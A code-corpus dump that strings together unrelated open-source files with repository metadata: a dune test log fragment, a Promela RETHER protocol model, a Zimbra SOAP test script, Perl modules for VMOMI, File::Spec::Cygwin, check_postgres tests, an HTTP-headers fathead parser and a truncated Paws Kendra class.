a$ext_lib)) (requires b) (implements b) (main_module_name B) (modes byte native) (modules (wrapped (main_module_name B) (modules ((name X) (obj_name b__X) (visibility public) (kind impl_vmodule) (impl))) (alias_module (name B__a__) (obj_name b__a__) (visibility public) (kind alias) (impl)) (wrapped true)))) $ cat dune-package/_build/install/default/lib/b/dune-package (lang dune 1.11) (name b) (library (name b) (kind normal) (virtual) (foreign_archives (native b$ext_lib)) (known_implementations (test a)) (main_module_name B) (modes byte native) (modules (wrapped (main_module_name B) (modules ((name X) (obj_name b__X) (visibility public) (kind virtual) (intf))) (alias_module (name B) (obj_name b) (visibility public) (kind alias) (impl)) (wrapped true)))) Test variants for an external library First we create an external library and implementation $ dune build --root external/lib @install Entering directory 'external/lib' Then we make sure that it works fine. $ env OCAMLPATH=external/lib/_build/install/default/lib dune build --root external/exe --debug-dependency-path Entering directory 'external/exe' bar alias default hey Variant ambiguity is forbidden even if a concrete implementation is provided. $ dune build --root variant-with-concrete-impl Entering directory 'variant-with-concrete-impl' Error: Two implementations of vlib have the same variant "default": - lib2_default (lib2.default/dune:1) - lib_default (lib.default/dune:1) [1] Don't fail when the same library is defined in multiple scopes. $ dune build --root same-lib-in-multiple-scopes Entering directory 'same-lib-in-multiple-scopes'
31
112
0.70014
ed25c58b5a140b196d036ab68ddf05e204e46427
7,516
pm
Perl
tests/beem/all/rether.4.pm
PimW/spins
aa05f5482c805c0f41e1e7c16c18b0727f7631c4
[ "Apache-2.0" ]
null
null
null
tests/beem/all/rether.4.pm
PimW/spins
aa05f5482c805c0f41e1e7c16c18b0727f7631c4
[ "Apache-2.0" ]
null
null
null
tests/beem/all/rether.4.pm
PimW/spins
aa05f5482c805c0f41e1e7c16c18b0727f7631c4
[ "Apache-2.0" ]
null
null
null
byte in_RT[9]; byte RT_count=0; chan reserve =[0] of {int}; chan release =[0] of {int}; chan grant =[0] of {int}; chan no_grant =[0] of {int}; chan done =[0] of {int}; chan visit_0 =[0] of {int}; chan visit_1 =[0] of {int}; chan visit_2 =[0] of {int}; chan visit_3 =[0] of {int}; chan visit_4 =[0] of {int}; chan visit_5 =[0] of {int}; chan visit_6 =[0] of {int}; chan visit_7 =[0] of {int}; chan visit_8 =[0] of {int}; active proctype Bandwidth() { byte i=0; idle: if :: reserve?i; goto res; :: release?i; goto rel; fi; rel: if :: d_step {in_RT[i]==1;in_RT[i] = 0;RT_count = RT_count-1;} goto idle; :: in_RT[i]==0; goto error_st; fi; res: if :: atomic {RT_count>=2;no_grant!0;} goto idle; :: atomic {RT_count<2;grant!0;RT_count = RT_count+1;in_RT[i] = 1;} goto idle; fi; error_st: false; } active proctype Node_0() { byte rt=0; byte granted=0; idle: if :: visit_0?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!0;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!0;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_1() { byte rt=0; byte granted=0; idle: if :: visit_1?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!1;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!1;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_2() { byte rt=0; byte granted=0; idle: if :: visit_2?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!2;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!2;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_3() { byte rt=0; byte granted=0; idle: if :: visit_3?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!3;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!3;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_4() { byte rt=0; byte granted=0; idle: if :: visit_4?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!4;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!4;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_5() { byte rt=0; byte granted=0; idle: if :: visit_5?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!5;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!5;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_6() { byte rt=0; byte granted=0; idle: if :: visit_6?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!6;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!6;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_7() { byte rt=0; byte granted=0; idle: if :: visit_7?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!7;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!7;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Node_8() { byte rt=0; byte granted=0; idle: if :: visit_8?rt; goto start; fi; start: if :: rt==1; goto RT_action; :: rt==0; goto NRT_action; fi; RT_action: if :: granted==0; goto error_st; :: goto finish; :: atomic {release!8;granted = 0;} goto finish; fi; NRT_action: if :: goto finish; :: atomic {granted==0;reserve!8;} goto want_RT; fi; want_RT: if :: grant?0; goto reserved; :: no_grant?0; goto finish; fi; reserved: if :: granted = 1; goto finish; fi; finish: if :: done!0; goto idle; fi; error_st: false; } active proctype Token() { byte i=0; byte NRT_count=5; byte next=0; start: if :: i = 0; goto RT_phase; fi; RT_phase: if :: d_step {i<9 && in_RT[i]==0;i = i+1;} goto RT_phase; :: atomic {i==0 && in_RT[i]==1;visit_0!1;} goto RT_wait; :: atomic {i==1 && in_RT[i]==1;visit_1!1;} goto RT_wait; :: atomic {i==2 && in_RT[i]==1;visit_2!1;} goto RT_wait; :: atomic {i==3 && in_RT[i]==1;visit_3!1;} goto RT_wait; :: atomic {i==4 && in_RT[i]==1;visit_4!1;} goto RT_wait; :: atomic {i==5 && in_RT[i]==1;visit_5!1;} goto RT_wait; :: atomic {i==6 && in_RT[i]==1;visit_6!1;} goto RT_wait; :: atomic {i==7 && in_RT[i]==1;visit_7!1;} goto RT_wait; :: atomic {i==8 && in_RT[i]==1;visit_8!1;} goto RT_wait; :: i==9; goto NRT_phase; fi; RT_wait: if :: atomic {done?0;i = i+1;} goto RT_phase; fi; NRT_phase: if :: atomic {NRT_count>0 && next==0;visit_0!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==1;visit_1!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==2;visit_2!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==3;visit_3!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==4;visit_4!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==5;visit_5!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==6;visit_6!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==7;visit_7!0;} goto NRT_wait; :: atomic {NRT_count>0 && next==8;visit_8!0;} goto NRT_wait; :: NRT_count==0; goto cycle_end; fi; NRT_wait: if :: atomic {done?0;next = (next+1)%9;NRT_count = NRT_count-1;} goto NRT_phase; fi; cycle_end: if :: NRT_count = 5-RT_count; goto start; fi; }
14.537718
80
0.619745
ed576e47e45bdeec5749f8cd6516603b405ab87b
4,764
pl
Perl
ZimbraServer/src/perl/soap/modifyAppt.pl
fciubotaru/z-pec
82335600341c6fb1bb8a471fd751243a90bc4d57
[ "MIT" ]
5
2019-03-26T07:51:56.000Z
2021-08-30T07:26:05.000Z
ZimbraServer/src/perl/soap/modifyAppt.pl
fciubotaru/z-pec
82335600341c6fb1bb8a471fd751243a90bc4d57
[ "MIT" ]
1
2015-08-18T19:03:32.000Z
2015-08-18T19:03:32.000Z
ZimbraServer/src/perl/soap/modifyAppt.pl
fciubotaru/z-pec
82335600341c6fb1bb8a471fd751243a90bc4d57
[ "MIT" ]
13
2015-03-11T00:26:35.000Z
2020-07-26T16:25:18.000Z
#!/usr/bin/perl -w # # ***** BEGIN LICENSE BLOCK ***** # Zimbra Collaboration Suite Server # Copyright (C) 2005, 2007, 2009, 2010 Zimbra, Inc. # # The contents of this file are subject to the Zimbra Public License # Version 1.3 ("License"); you may not use this file except in # compliance with the License. You may obtain a copy of the License at # http://www.zimbra.com/license. # # Software distributed under the License is distributed on an "AS IS" # basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. # ***** END LICENSE BLOCK ***** # # # Simple SOAP test-harness for the AddMsg API # use Time::HiRes qw ( time ); use strict; use lib '.'; use LWP::UserAgent; use XmlElement; use XmlDoc; use Soap; my $ACCTNS = "urn:zimbraAccount"; my $MAILNS = "urn:zimbraMail"; my $invId; my $mode = 0; # >= 2: remove attendee (broken right now) my $startTime; my $endTime; if (defined($ARGV[2]) && $ARGV[2] ne "") { $invId = $ARGV[0]; $startTime = $ARGV[1]; $endTime = $ARGV[2]; $mode = $ARGV[3]; } else { die "USAGE: modifyAppointment INVITE-ID START END [MODE]"; } my $url = "http://localhost:7070/service/soap/"; my $SOAP = $Soap::Soap12; my $d = new XmlDoc; $d->start('AuthRequest', $ACCTNS); $d->add('account', undef, { by => "name"}, 'user1'); $d->add('password', undef, undef, "test123"); $d->end(); my $authResponse = $SOAP->invoke($url, $d->root()); print "AuthResponse = ".$authResponse->to_string("pretty")."\n"; my $authToken = $authResponse->find_child('authToken')->content; #print "authToken($authToken)\n"; my $sessionId = $authResponse->find_child('sessionId')->content; #print "sessionId = $sessionId\n"; my $context = $SOAP->zimbraContext($authToken, $sessionId); my $contextStr = $context->to_string("pretty"); #print("Context = $contextStr\n"); ####################################################################### # # ModifyAppointment # $d = new XmlDoc; $d->start('ModifyAppointmentRequest', $MAILNS, { 'id' => $invId, 'comp' => '0'}); $d->start('m', undef, undef, undef); $d->add('e', undef, { 'a' => "user2\@timbre.example.zimbra.com", 't' => "t" } ); # $d->add('e', undef, # { # 'a' => "user2\@domain.com", # 't' => "t" # } ); # if ($mode < 2) { # $d->add('e', undef, # { # 'a' => "user3\@domain.com", # 't' => "t" # } ); # $d->add('e', undef, # { # 'a' => "tim\@example.zimbra.com", # 't' => "t" # } ); # } $d->add('su', undef, undef, "MODIFIED: TEST MEETING2 (mode=$mode)"); $d->start('mp', undef, { 'ct' => "text/plain" }); $d->add('content', undef, undef, "This meeting has been changed...(mode=$mode)"); $d->end(); #mp $d->start('inv', undef, { 'type' => "event", 'transp' => "O", 'allday' => "false", 'name' => "MODIFIED test name", 'loc' => "MODIFIED test location" }); $d->add('s', undef, { 'd', => $startTime, }); $d->add('e', undef, { 'd', => $endTime, }); $d->add('or', undef, { 'd' => "user1", 'a' => "user1\@example.zimbra.com" } ); $d->add('at', undef, { 'd' => "user2", 'a' => "user2\@example.zimbra.com", 'role' => "REQ", 'ptst' => "NE", }); $d->add('at', undef, { 'd' => "user3", 'a' => "user3\@domain.com", 'role' => "REQ", 'ptst' => "NE", }); $d->end(); # m $d->end(); # ca print "\nOUTGOING XML:\n-------------\n"; my $out = $d->to_string("pretty")."\n"; $out =~ s/ns0\://g; print $out."\n"; my $start = time; my $firstStart = time; my $response; my $i = 0; my $end; my $avg; my $elapsed; #do { $start = time; # $msgAttrs{'sortby'} = "subjasc"; $response = $SOAP->invoke($url, $d->root(), $context); # $end = time; # $elapsed = $end - $start; # $avg = $elapsed *1000; # print("Ran iter in $elapsed time ($avg ms)\n"); # $start = time; # $msgAttrs{'sortby'} = "subjdesc"; #$response = $SOAP->invoke($url, $d->root(), $context); # $end = time; # $elapsed = $end - $start; # $avg = $elapsed *1000; # print("Ran iter in $elapsed time ($avg ms)\n"); #$i++; #} while($i < 50) ; #my $lastEnd = time; #$avg = ($lastEnd - $firstStart) / $i * 1000; print "\nRESPONSE:\n--------------\n"; $out = $response->to_string("pretty")."\n"; #$out =~ s/ns0\://g; print $out."\n"; # print("\nRan $i iters in $elapsed time (avg = $avg ms)\n");
24.683938
82
0.492653
ed3949856d423bbd00a9961d949a1da44f2d6d2b
627
pm
Perl
lib/VMOMI/PerfQuerySpec.pm
restump/p5-vmomi
e2571d72a1f552ddd0258ad289ec229d8d12a147
[ "Apache-2.0" ]
1
2020-07-22T21:56:34.000Z
2020-07-22T21:56:34.000Z
lib/VMOMI/PerfQuerySpec.pm
restump/p5-vmomi
e2571d72a1f552ddd0258ad289ec229d8d12a147
[ "Apache-2.0" ]
null
null
null
lib/VMOMI/PerfQuerySpec.pm
restump/p5-vmomi
e2571d72a1f552ddd0258ad289ec229d8d12a147
[ "Apache-2.0" ]
1
2016-07-19T19:56:09.000Z
2016-07-19T19:56:09.000Z
package VMOMI::PerfQuerySpec; use parent 'VMOMI::DynamicData'; use strict; use warnings; our @class_ancestors = ( 'DynamicData', ); our @class_members = ( ['entity', 'ManagedObjectReference', 0, ], ['startTime', undef, 0, 1], ['endTime', undef, 0, 1], ['maxSample', undef, 0, 1], ['metricId', 'PerfMetricId', 1, 1], ['intervalId', undef, 0, 1], ['format', undef, 0, 1], ); sub get_class_ancestors { return @class_ancestors; } sub get_class_members { my $class = shift; my @super_members = $class->SUPER::get_class_members(); return (@super_members, @class_members); } 1;
19.59375
59
0.625199
ed646a160fd8e9399936c48150b54bc4828a672f
3,610
pm
Perl
perl/lib/5.28.0/x86_64-linux/File/Spec/Cygwin.pm
dky1831/dotfiles
f4dfa991c8e269f5ac4e4bf112a98e2d03c6b3ba
[ "MIT" ]
null
null
null
perl/lib/5.28.0/x86_64-linux/File/Spec/Cygwin.pm
dky1831/dotfiles
f4dfa991c8e269f5ac4e4bf112a98e2d03c6b3ba
[ "MIT" ]
null
null
null
perl/lib/5.28.0/x86_64-linux/File/Spec/Cygwin.pm
dky1831/dotfiles
f4dfa991c8e269f5ac4e4bf112a98e2d03c6b3ba
[ "MIT" ]
null
null
null
package File::Spec::Cygwin; use strict; require File::Spec::Unix; our $VERSION = '3.74'; $VERSION =~ tr/_//d; our @ISA = qw(File::Spec::Unix); =head1 NAME File::Spec::Cygwin - methods for Cygwin file specs =head1 SYNOPSIS require File::Spec::Cygwin; # Done internally by File::Spec if needed =head1 DESCRIPTION See L<File::Spec> and L<File::Spec::Unix>. This package overrides the implementation of these methods, not the semantics. This module is still in beta. Cygwin-knowledgeable folks are invited to offer patches and suggestions. =cut =pod =over 4 =item canonpath Any C<\> (backslashes) are converted to C</> (forward slashes), and then File::Spec::Unix canonpath() is called on the result. =cut sub canonpath { my($self,$path) = @_; return unless defined $path; $path =~ s|\\|/|g; # Handle network path names beginning with double slash my $node = ''; if ( $path =~ s@^(//[^/]+)(?:/|\z)@/@s ) { $node = $1; } return $node . $self->SUPER::canonpath($path); } sub catdir { my $self = shift; return unless @_; # Don't create something that looks like a //network/path if ($_[0] and ($_[0] eq '/' or $_[0] eq '\\')) { shift; return $self->SUPER::catdir('', @_); } $self->SUPER::catdir(@_); } =pod =item file_name_is_absolute True is returned if the file name begins with C<drive_letter:>, and if not, File::Spec::Unix file_name_is_absolute() is called. =cut sub file_name_is_absolute { my ($self,$file) = @_; return 1 if $file =~ m{^([a-z]:)?[\\/]}is; # C:/test return $self->SUPER::file_name_is_absolute($file); } =item tmpdir (override) Returns a string representation of the first existing directory from the following list: $ENV{TMPDIR} /tmp $ENV{'TMP'} $ENV{'TEMP'} C:/temp If running under taint mode, and if the environment variables are tainted, they are not used. =cut sub tmpdir { my $cached = $_[0]->_cached_tmpdir(qw 'TMPDIR TMP TEMP'); return $cached if defined $cached; $_[0]->_cache_tmpdir( $_[0]->_tmpdir( $ENV{TMPDIR}, "/tmp", $ENV{'TMP'}, $ENV{'TEMP'}, 'C:/temp' ), qw 'TMPDIR TMP TEMP' ); } =item case_tolerant Override Unix. Cygwin case-tolerance depends on managed mount settings and as with MsWin32 on GetVolumeInformation() $ouFsFlags == FS_CASE_SENSITIVE, indicating the case significance when comparing file specifications. Default: 1 =cut sub case_tolerant { return 1 unless $^O eq 'cygwin' and defined &Cygwin::mount_flags; my $drive = shift; if (! $drive) { my @flags = split(/,/, Cygwin::mount_flags('/cygwin')); my $prefix = pop(@flags); if (! $prefix || $prefix eq 'cygdrive') { $drive = '/cygdrive/c'; } elsif ($prefix eq '/') { $drive = '/c'; } else { $drive = "$prefix/c"; } } my $mntopts = Cygwin::mount_flags($drive); if ($mntopts and ($mntopts =~ /,managed/)) { return 0; } eval { local @INC = @INC; pop @INC if $INC[-1] eq '.'; require Win32API::File; } or return 1; my $osFsType = "\0"x256; my $osVolName = "\0"x256; my $ouFsFlags = 0; Win32API::File::GetVolumeInformation($drive, $osVolName, 256, [], [], $ouFsFlags, $osFsType, 256 ); if ($ouFsFlags & Win32API::File::FS_CASE_SENSITIVE()) { return 0; } else { return 1; } } =back =head1 COPYRIGHT Copyright (c) 2004,2007 by the Perl 5 Porters. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut 1;
22.012195
101
0.623823
ed6305e5055ed171641c36d858b8987f8111fe6c
2,142
t
Perl
t/02_txn_wraparound.t
mintsoft/check_postgres
da24b667793a5ca1f418e40d09dd4b29518ee12e
[ "BSD-2-Clause" ]
1
2021-07-14T09:40:49.000Z
2021-07-14T09:40:49.000Z
t/02_txn_wraparound.t
RekGRpth/check_postgres
da24b667793a5ca1f418e40d09dd4b29518ee12e
[ "BSD-2-Clause" ]
null
null
null
t/02_txn_wraparound.t
RekGRpth/check_postgres
da24b667793a5ca1f418e40d09dd4b29518ee12e
[ "BSD-2-Clause" ]
null
null
null
#!perl ## Test the "txn_wraparound" action use 5.006; use strict; use warnings; use Data::Dumper; use Test::More tests => 16; use lib 't','.'; use CP_Testing; use vars qw/$dbh $result $t $host $dbname $testtbl $testtrig_prefix/; $testtbl = 'test_txn_wraparound'; $testtrig_prefix = 'test_txn_wraparound_'; my $cp = CP_Testing->new( {default_action => 'txn_wraparound'} ); $dbh = $cp->test_database_handle(); $dbname = $cp->get_dbname; $host = $cp->get_host(); my $S = q{Action 'txn_wraparound'}; my $label = 'POSTGRES_TXN_WRAPAROUND'; $t = qq{$S self-identifies correctly}; $result = $cp->run(); like ($result, qr{^$label}, $t); $t = qq{$S identifies each database}; like ($result, qr{ardala=\d+;1300000000;1400000000;0;2000000000 beedeebeedee=\d+;1300000000;1400000000;0;2000000000 postgres=\d+;1300000000;1400000000;0;2000000000 template1=\d+;1300000000;1400000000;0;2000000000}, $t); $result =~ /ardala=(\d+)/; my $txn_measure = $1; $t = qq{$S identifies host}; like ($result, qr{host:$host}, $t); ## 8.1 starts a little over 1 billion $t = qq{$S accepts valid -w input}; like ($cp->run(q{-w 1500000000}), qr{$label OK}, $t); $t = qq{$S flags invalid -w input}; for my $arg (-1, 0, 'a') { like ($cp->run(qq{-w $arg}), qr{ERROR: Invalid argument.*must be a positive integer}, "$t ($arg)"); } $t = qq{$S rejects warning values 2 billion or higher}; like ($cp->run(q{-w 2000000000}), qr{ERROR:.+less than 2 billion}, $t); $t = qq{$S rejects critical values 2 billion or higher}; like ($cp->run(q{-c 2200000000}), qr{ERROR:.+less than 2 billion}, $t); $t = qq{$S accepts valid -c input}; like ($cp->run(q{-c 1400000000}), qr{$label OK}, $t); $t = qq{$S flags invalid -c input}; for my $arg (-1, 0, 'a') { like ($cp->run(qq{-c $arg}), qr{ERROR: Invalid argument.*must be a positive integer}, "$t ($arg)"); } $t = qq{$S sees impending wrap-around}; like ($cp->run('-c ' . int ($txn_measure / 2)), qr{$label CRITICAL}, $t); $t = qq{$S sees no impending wrap-around}; like ($cp->run('-c 1999000000'), qr{$label OK}, $t); $t .= ' (mrtg)'; like ($cp->run('-c 1400000000 --output=mrtg'), qr{\d+\n0\n\nDB: \w+}, $t); exit;
29.75
219
0.641457
ed40fc3d73d0f9d3fe140bcf706c3f33bf905950
8,734
pl
Perl
share/fathead/http_headers/parse.pl
wilkox/zeroclickinfo-fathead
59fc62f758e9f59a465ff97fbb06862ccaaa0673
[ "Apache-2.0" ]
1
2021-01-05T16:48:23.000Z
2021-01-05T16:48:23.000Z
share/fathead/http_headers/parse.pl
wilkox/zeroclickinfo-fathead
59fc62f758e9f59a465ff97fbb06862ccaaa0673
[ "Apache-2.0" ]
null
null
null
share/fathead/http_headers/parse.pl
wilkox/zeroclickinfo-fathead
59fc62f758e9f59a465ff97fbb06862ccaaa0673
[ "Apache-2.0" ]
1
2016-06-12T06:12:02.000Z
2016-06-12T06:12:02.000Z
#!/usr/bin/env perl use warnings; use strict; use utf8; use Encode; use JSON; use Web::Query; main(); sub main { my %headers = ( index_hash_by_header( split_sections( load_contents('download/request.json') . load_contents('download/response.json') ) ) ); write_output('output.txt', %headers); } sub write_output { my ($filename, %headers) = @_; open my $fh, '>', $filename or die $!; print $fh join "\n", format_output(%headers); close $fh or die $!; } sub format_output { my (%headers) = @_; my @lines; for my $title (sort keys %headers) { my %header_types = %{ $headers{$title} }; if (keys %header_types == 1) { push @lines, format_article($title, values %header_types); } else { push @lines, format_disambiguation($title, %header_types); } push @lines, format_redirects($title); } return @lines; } sub format_redirects { return redirect_space2dash(@_), redirect_headers_suffix(@_); } sub redirect_headers_suffix { my ($name) = @_; my @header_suffix = ( "$name header", # title 'R', # type $name, # redirect '', # ignore '', # categories '', # ignore '', # related topics '', # ignore '', # external links '', # ignore '', # image '', # abstract '', # source_url ); my @headers_suffix = ( "$name headers", # title 'R', # type $name, # redirect '', # ignore '', # categories '', # ignore '', # related topics '', # ignore '', # external links '', # ignore '', # image '', # abstract '', # source_url ); return join("\t", @header_suffix), join("\t", @headers_suffix); } sub redirect_space2dash { my ($name) = @_; my $with_dashes = $name; my $with_spaces = $name; $with_spaces =~ s/-/ /g; return if $with_spaces eq $with_dashes; my @fields = ( $with_spaces, # title 'R', # type $with_dashes, # redirect '', # ignore '', # categories '', # ignore '', # related topics '', # ignore '', # external links '', # ignore '', # image '', # abstract '', # source_url ); return join("\t", @fields); } sub format_article { my ($name, $value) = @_; my @fields = ( $name, # title 'A', # type '', # redirect '', # ignore '', # categories '', # ignore '', # related topics '', # ignore '', # external links '', # ignore '', # image format_abstract($value->{description}, $value->{example}), # abstract 'https://en.wikipedia.org/wiki/List_of_HTTP_header_fields', # source_url ); return join("\t", @fields); } sub format_disambiguation { my ($name, %types) = @_; my @fields = ( $name, # title 'D', # type '', # redirect '', # ignore '', # categories '', # ignore '', # related topics '', # ignore '', # external links format_each_disambiguation(%types), # disambig '', # image '', # abstract 'https://en.wikipedia.org/wiki/List_of_HTTP_header_fields', # source_url ); return join("\t", @fields); } sub format_each_disambiguation { my (%types) = @_; my @disamb; for my $t (keys %types) { my $description = $types{$t}{description}; my $example = $types{$t}{example}; if (substr($description, -1) ne '.') { $description .= '.'; } # Remove "See HTTP Compression", or "see below", or just "(below)" $description =~ s/[,\.]\s+see\s+[a-zA-Z ]+\././ig; $description =~ s/\s\(below\)//g; # Capitalize the first word $description = ucfirst($description); my $str_example = join "\\n\\n", @$example; push @disamb, "*[[$t]],$description<br><pre><code>$str_example</code></pre>\\n"; } return join '', @disamb; } sub format_abstract { my ($description, $example) = @_; if (substr($description, -1) ne '.') { $description .= '.'; } # Remove "See HTTP Compression", or "see below", or just "(below)" $description =~ s/[,\.]\s+see\s+[a-zA-Z ]+\././ig; $description =~ s/\s\(below\)//g; # Capitalize the first word $description = ucfirst($description); my $str_example = join "\\n\\n", @$example; return "$description<br><pre><code>$str_example</code></pre>"; } sub split_sections { my ($content) = @_; my %sections; my $current; wq("<body>$content</body>")->contents->each(sub { my ($i, $el) = @_; if ($el->tagname =~ m/^h\d$/) { $current = $el->find('.mw-headline')->text; } elsif ($el->tagname eq 'table') { $sections{$current} = html_table2hash($el); } else { # skip any other elements } }); return %sections; } sub index_hash_by_header { my (%sections) = @_; my %result; for my $section (keys %sections) { my $new_name = $section; $new_name =~ s/field(s)?//; $new_name = trim($new_name); for my $header (keys %{ $sections{$section} }) { $result{$header} //= {}; $result{$header}{$new_name} = $sections{$section}{$header}; } } return %result; } sub html_table2hash { my ($table) = @_; my %result; my @headers; $table->find('th')->each(sub { my ($i, $el) = @_; push @headers, lc trim($el->text); }); $table->find('tr')->each(sub { my ($i, $row) = @_; my %current; $row->find('td')->each(sub { my ($j, $cell) = @_; $cell->find('.reference-text,.reference')->remove(); if ($headers[$j] eq 'example') { $current{$headers[$j]} = parse_example($cell); } else { $current{$headers[$j]} = trim(join '', $cell->text); } }); if (my $name = fix_name(\%current)) { $result{$name} = \%current; } }); return \%result; } sub parse_example { my ($example) = @_; my @result; $example->find('p')->each(sub { my ($i, $p) = @_; push @result, trim($p->text); $p->remove; }); $example->find('li')->each(sub { my ($i, $li) = @_; my $t = $li->text; $t =~ s/Example \d://g; push @result, trim($t); $li->remove; }); $example->find('ul,ol')->remove(); my $text = trim($example->text || ''); if ($text) { unshift @result, $text; } return \@result; } sub load_contents { my ($filename) = @_; local $/; open my $fh, '<', $filename or die $!; my $contents = <$fh>; close $fh or die $!; my $json = decode_json($contents); my ($page) = keys %{ $json->{query}{pages} }; return encode_utf8($json->{query}{pages}{$page}{revisions}[0]{'*'}); } sub fix_name { my ($ref) = @_; my ($name) = grep { m/\bname$/ } keys %$ref; return wq('<div>' . delete($ref->{$name}) . '</div>')->text if $name; } sub trim { my ($text) = @_; $text =~ s/^\s+//; $text =~ s/\s+$//; return $text; }
24.74221
88
0.41619
ed5fb5d776db9cee3e02265088bb2f18ee8e1b2c
3,857
pm
Perl
auto-lib/Paws/Kendra/Relevance.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
164
2015-01-08T14:58:53.000Z
2022-02-20T19:16:24.000Z
auto-lib/Paws/Kendra/Relevance.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
348
2015-01-07T22:08:38.000Z
2022-01-27T14:34:44.000Z
auto-lib/Paws/Kendra/Relevance.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
87
2015-04-22T06:29:47.000Z
2021-09-29T14:45:55.000Z
# Generated by default/object.tt package Paws::Kendra::Relevance; use Moose; has Duration => (is => 'ro', isa => 'Str'); has Freshness => (is => 'ro', isa => 'Bool'); has Importance => (is => 'ro', isa => 'Int'); has RankOrder => (is => 'ro', isa => 'Str'); has ValueImportanceMap => (is => 'ro', isa => 'Paws::Kendra::ValueImportanceMap'); 1; ### main pod documentation begin ### =head1 NAME Paws::Kendra::Relevance =head1 USAGE This class represents one of two things: =head3 Arguments in a call to a service Use the attributes of this class as arguments to methods. You shouldn't make instances of this class. Each attribute should be used as a named argument in the calls that expect this type of object. As an example, if Att1 is expected to be a Paws::Kendra::Relevance object: $service_obj->Method(Att1 => { Duration => $value, ..., ValueImportanceMap => $value }); =head3 Results returned from an API call Use accessors for each attribute. If Att1 is expected to be an Paws::Kendra::Relevance object: $result = $service_obj->Method(...); $result->Att1->Duration =head1 DESCRIPTION Provides information for manually tuning the relevance of a field in a search. When a query includes terms that match the field, the results are given a boost in the response based on these tuning parameters. =head1 ATTRIBUTES =head2 Duration => Str Specifies the time period that the boost applies to. For example, to make the boost apply to documents with the field value within the last month, you would use "2628000s". Once the field value is beyond the specified range, the effect of the boost drops off. The higher the importance, the faster the effect drops off. If you don't specify a value, the default is 3 months. The value of the field is a numeric string followed by the character "s", for example "86400s" for one day, or "604800s" for one week. Only applies to C<DATE> fields. =head2 Freshness => Bool Indicates that this field determines how "fresh" a document is. For example, if document 1 was created on November 5, and document 2 was created on October 31, document 1 is "fresher" than document 2. You can only set the C<Freshness> field on one C<DATE> type field. Only applies to C<DATE> fields. =head2 Importance => Int The relative importance of the field in the search. Larger numbers provide more of a boost than smaller numbers. =head2 RankOrder => Str Determines how values should be interpreted. When the C<RankOrder> field is C<ASCENDING>, higher numbers are better. For example, a document with a rating score of 10 is higher ranking than a document with a rating score of 1. When the C<RankOrder> field is C<DESCENDING>, lower numbers 